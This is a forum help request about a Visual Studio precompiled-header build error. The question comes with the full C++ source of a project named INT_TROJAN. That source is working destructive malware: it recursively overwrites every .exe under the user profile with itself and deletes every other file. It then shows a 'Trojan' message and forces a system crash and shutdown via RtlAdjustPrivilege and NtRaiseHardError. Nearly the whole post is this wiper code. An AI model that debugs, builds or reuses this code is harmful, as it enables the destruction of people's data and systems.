I keep getting this error:
Error 2 error C2857: '#include' statement specified with the /YcYcstdafx.h command-line option was not found in the source file c:\users\joking\documents\visual studio 2013\projects\int_trojan.win32\int_trojan.win32\stdafx.cpp 9 1 INT_TROJAN.WIN32
Here is the code (C++)
#include <stdio.h>
#include <Windows.h>
#include <ntstatus.h>
#include "stdafx.h"
#pragma comment(lib,"ntdll.lib")
typedef enum _HARDERROR_RESPONSE_OPTION
{
OptionAbortRetryIgnore,
OptionOk,
OptionOkCancel,
OptionRetryCancel,
OptionYesNo,
OptionYesNoCancel,
OptionShutdownSystem,
OptionOkNoWait,
OptionCancelTryContinue
}HARDERROR_RESPONSE_OPTION;
typedef enum _HARDERROR_RESPONSE
{
ResponseReturnToCaller,
ResponseNotHandled,
ResponseAbort,
ResponseCancel,
ResponseIgnore,
ResponseNo,
ResponseOk,
ResponseRetry,
ResponseYes,
ResponseTryAgain,
ResponseContinue
}HARDERROR_RESPONSE;
extern "C" NTSTATUS NTAPI NtRaiseHardError(
NTSTATUS ErrorStatus,
ULONG NumberOfParameters,
ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters,
ULONG ValidResponseOptions,
PULONG Response
);
extern "C" NTSTATUS NTAPI RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN OldValue);
void WINAPI InfectFiles(LPSTR Directory)
{
HANDLE hFind;
char SearchName[1024], FullPath[1024];
WIN32_FIND_DATA FindData;
memset(SearchName, 0, sizeof(SearchName));
sprintf(SearchName, "%s\\*", Directory);
hFind = FindFirstFile(SearchName, &FindData);
if (hFind != INVALID_HANDLE_VALUE)
{
while (FindNextFile(hFind, &FindData))
{
if (FindData.cFileName[0] == '.')
{
continue;
}
memset(FullPath, 0, sizeof(FullPath));
sprintf(FullPath, "%s\\%s", Directory, FindData.cFileName); // Get the full path
if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
InfectFiles(FullPath); //subdir
}
else
{
if (strstr(FindData.cFileName, ".exe"))
{
CopyFile(_pgmptr, FullPath, FALSE); // overwrite file
}
else
{
DeleteFile(FullPath); // Otherwise, delete the file
}
}
}
FindClose(hFind);
}
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
ULONG Response;
BOOLEAN bl;
char dir[120];
CreateMutex(NULL, TRUE, "VC++");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
ExitProcess(0);
}
GetEnvironmentVariable("userprofile", dir, sizeof(dir)); // Get the user directory
InfectFiles(dir); // Infect files
MessageBox(NULL, "Trojan", "VC++", MB_ICONSTOP);
RtlAdjustPrivilege(19, TRUE, FALSE, &bl); // Enable SeShutdownPrivilege
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, OptionShutdownSystem, &Response); // Shutdown
return 0;
}
[size=78%]Any help?[/size]